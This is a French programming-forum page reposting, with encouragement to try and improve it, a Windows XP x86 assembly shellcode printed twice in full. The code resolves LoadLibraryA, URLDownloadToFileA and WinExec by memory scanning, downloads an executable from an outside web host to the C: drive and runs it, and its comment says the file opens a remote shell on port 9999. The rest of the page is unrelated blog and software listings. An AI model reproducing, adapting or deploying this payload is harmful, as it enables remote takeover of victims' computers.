Accueil > > > GENERIC WINDOWS XP URL DOWNLOAD AND EXECUTE SHELLCODE
GENERIC WINDOWS XP URL DOWNLOAD AND EXECUTE SHELLCODE
Information sur la source
Description
OK
ce code n'est pas de moi et je le poste donc "pour la cause" et vous en faire profiter.
Si ca te plait pas, et ben tu l'prend pas!
Sinon ENJOY!
; Nice theorhetically generic url download and execute
; shellcode for Windows XP.
so i think that's easy to understand, no?
Source
- ; Nice theorhetically generic url download and execute
- ; shellcode for Windows XP.
- ;
- ; Heck, atleast it saves you using tftp!
- ;
- ; Peter4020@hotmail.com
- ;
- ; nasmw -s -fbin -o download.s download.asm
-
- bits 32
-
- start:
- jmp short avoidnastynulls
-
- continue:
- pop edi ; edi = 'urlmon.dll'
- mov esi, edi
- mov al, 0ffh
- repne scasb
- inc byte [edi-01h] ; edi = string of url
- mov ebx, edi
- mov al, 0ffh
- repne scasb
- inc byte [edi-01h] ; edi = path of download
- mov edx, edi
- repne scasb
- inc byte [edi-01h]
- push edx
-
- push ebx
- push edx
- push esi
-
- mov ebx, 0c25b5effh
- mov ecx, 0deadc0deh
- mov edi, 77e60101h
-
- trawlmem:
- inc edi
- mov al, 0ffh
- repne scasb
- jmp short checkbytes
- nop
-
- checkbytes:
- dec edi
- push dword [edi]
- pop esi
- cmp ebx, esi
- je short gotcha
- jmp short trawlmem
-
- jmp short pastpoint
-
- avoidnastynulls:
- jmp short data
-
- pastpoint:
-
- gotcha:
- lea eax, [edi-2eh] ; get to start of loadlibrarya function
- call eax ; call loadlibrarya
-
- pop edx
- pop ebx
-
- push edx
- xor ecx, ecx
- push ecx
- push ecx
- push edx ; path of download
- push ebx ; url of download
- push ecx
-
- mov ebx, 8d8d5602h
- mov ecx, 0badc0dedh
- mov edi, eax ; eax = base of urlmon.dll
-
- trawlmem2:
- inc edi
- mov al, 002h
- repne scasb
- jmp short checkbytes2
- nop
-
- checkbytes2:
- dec edi
- push dword [edi]
- pop esi
- cmp ebx, esi
- je short gotcha2
- jmp short trawlmem2
-
- gotcha2:
- lea eax, [edi-1bh] ; get to start of urldownloadtofilea function
- call eax ; call urldownloadtofilea
-
- pop edx
- xor ecx, ecx
- ;inc ecx
- push ecx
- push edx
-
- mov ebx, 0c458b66h
- mov ecx, 1337f00dh
- mov edi, 77e60101h
-
- trawlmem3:
- inc edi
- mov al, 066h
- repne scasb
- jmp short checkbytes3
- nop
-
- checkbytes3:
- dec edi
- push dword [edi]
- pop esi
- cmp ebx, esi
- je short gotcha3
- jmp short trawlmem3
-
- gotcha3:
- lea eax, [edi-16h] ; get to start of winexec function
- call eax ; call winexec
-
- mov ecx, 0deadc0deh
- infloop: ; infinite loop; no crash when done
- inc ecx
- cmp ecx, 0badc0dedh
- loopnz infloop ; if this slows you down too much, remove it!
-
- int 3h
-
- data:
- call continue
- db 'URLMON.DLL', 0ffh
- db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address spawns remote shell on port 9999
- db 'c:\nc.exe', 0ffh
; Nice theorhetically generic url download and execute
; shellcode for Windows XP.
;
; Heck, atleast it saves you using tftp!
;
; Peter4020@hotmail.com
;
; nasmw -s -fbin -o download.s download.asm
bits 32
start:
jmp short avoidnastynulls
continue:
pop edi ; edi = 'urlmon.dll'
mov esi, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h] ; edi = string of url
mov ebx, edi
mov al, 0ffh
repne scasb
inc byte [edi-01h] ; edi = path of download
mov edx, edi
repne scasb
inc byte [edi-01h]
push edx
push ebx
push edx
push esi
mov ebx, 0c25b5effh
mov ecx, 0deadc0deh
mov edi, 77e60101h
trawlmem:
inc edi
mov al, 0ffh
repne scasb
jmp short checkbytes
nop
checkbytes:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha
jmp short trawlmem
jmp short pastpoint
avoidnastynulls:
jmp short data
pastpoint:
gotcha:
lea eax, [edi-2eh] ; get to start of loadlibrarya function
call eax ; call loadlibrarya
pop edx
pop ebx
push edx
xor ecx, ecx
push ecx
push ecx
push edx ; path of download
push ebx ; url of download
push ecx
mov ebx, 8d8d5602h
mov ecx, 0badc0dedh
mov edi, eax ; eax = base of urlmon.dll
trawlmem2:
inc edi
mov al, 002h
repne scasb
jmp short checkbytes2
nop
checkbytes2:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha2
jmp short trawlmem2
gotcha2:
lea eax, [edi-1bh] ; get to start of urldownloadtofilea function
call eax ; call urldownloadtofilea
pop edx
xor ecx, ecx
;inc ecx
push ecx
push edx
mov ebx, 0c458b66h
mov ecx, 1337f00dh
mov edi, 77e60101h
trawlmem3:
inc edi
mov al, 066h
repne scasb
jmp short checkbytes3
nop
checkbytes3:
dec edi
push dword [edi]
pop esi
cmp ebx, esi
je short gotcha3
jmp short trawlmem3
gotcha3:
lea eax, [edi-16h] ; get to start of winexec function
call eax ; call winexec
mov ecx, 0deadc0deh
infloop: ; infinite loop; no crash when done
inc ecx
cmp ecx, 0badc0dedh
loopnz infloop ; if this slows you down too much, remove it!
int 3h
data:
call continue
db 'URLMON.DLL', 0ffh
db 'http://www.elitehaven.net/ncat.exe', 0ffh ; the file at this address spawns remote shell on port 9999
db 'c:\nc.exe', 0ffh
Conclusion
Ben évidemment, RESPECT au codeur
Try it, et si d'aventure yen a ki l'améliore... ca mintéresse ;-)
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
IMAGINE CUP 2012, MAKE A SIGN EN FINALEIMAGINE CUP 2012, MAKE A SIGN EN FINALE par junarnoalg
Voilà qui est fait, la nouvelle est officielle ! L'équipe belge "Make a Sign" va au pays des kangourous défendre son projet dans la catégorie Software Design. http://www.imaginecup.com/CompetitionsContent/Competition/WorldwideFinalists.aspx V...
Cliquez pour lire la suite de l'article par junarnoalg KINECT 1.5 IS OUT !KINECT 1.5 IS OUT ! par Vko
La version 1.5 du Kinect For Microsoft vient tout juste de sortir ! Plein de nouveautés: Tracking de squelette en Near Mode Détection en position assise Détection faciale avec un SDK dédié Documentation et des guideline (enfin) Un out...
Cliquez pour lire la suite de l'article par Vko LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) par richardc
Mise à jour des Web API du 14 Mai
Réservez dès maintenant votre journée du 20 juin pour le Windows Azure Dev Camp 2012 à Paris
Mise à jour de Team Foundation Service
MechCommander 2 sur Windows 8
Entity Framework 5 Release Candidate e...
Cliquez pour lire la suite de l'article par richardc REACTIVE EXTENSIONS : CONSOMMER DES SERVICES AVEC RX PARTIE 3, LES PIèGES à éVITERREACTIVE EXTENSIONS : CONSOMMER DES SERVICES AVEC RX PARTIE 3, LES PIèGES à éVITER par Groc
Une mauvaise utilisation de rx lors de l'écriture d'une couche d'accès à des services peut conduire à des cas embarassants avec des erreurs mal gérées, des appels qui ne partent lorsqu'ils le devraient, et même des résultats incorrects . le tout nuis...
Cliquez pour lire la suite de l'article par Groc SHAREPOINT BLOG SITE, PROBLèME D'ARCHIVESSHAREPOINT BLOG SITE, PROBLèME D'ARCHIVES par junarnoalg
Dernièrement, nous avons migré le site
myTIC
vers un nouveau serveur SharePoint 2010. Dans les contenus que nous vouloins récupérer, nous avions un certain nombre de blogs.
Nous avons utilisé les commandes Power...
Cliquez pour lire la suite de l'article par junarnoalg
Logiciels
974 Application Server (12.2.4.0)974 APPLICATION SERVER (12.2.4.0)Développez de puissantes applications dans un environnement de 'cloud computing', clusterisé, séc... Cliquez pour télécharger 974 Application Server vPicture (1.4.2.1)VPICTURE (1.4.2.1)Avec vPicture, hébergez vos images facilement et rapidement.
vPicture est un utilitaire simple, ... Cliquez pour télécharger vPicture Easy-Planning (2.2.1.6)EASY-PLANNING (2.2.1.6)Easy-Planning permet de créer des plannings sous la représentation de diagrammes et est adapté au... Cliquez pour télécharger Easy-Planning COM-BACKUP (2.0)COM-BACKUP (2.0)
COM-BACKUP est un logiciel de sauvegarde qui permet de planifier les sauvegardes de vos dossiers ...
Cliquez pour télécharger COM-BACKUP mySongBook Player (1.0.0)MYSONGBOOK PLAYER (1.0.0)mySongBook Player est un logiciel gratuit permettant l'accès à une archive de tablatures/partitio... Cliquez pour télécharger mySongBook Player
|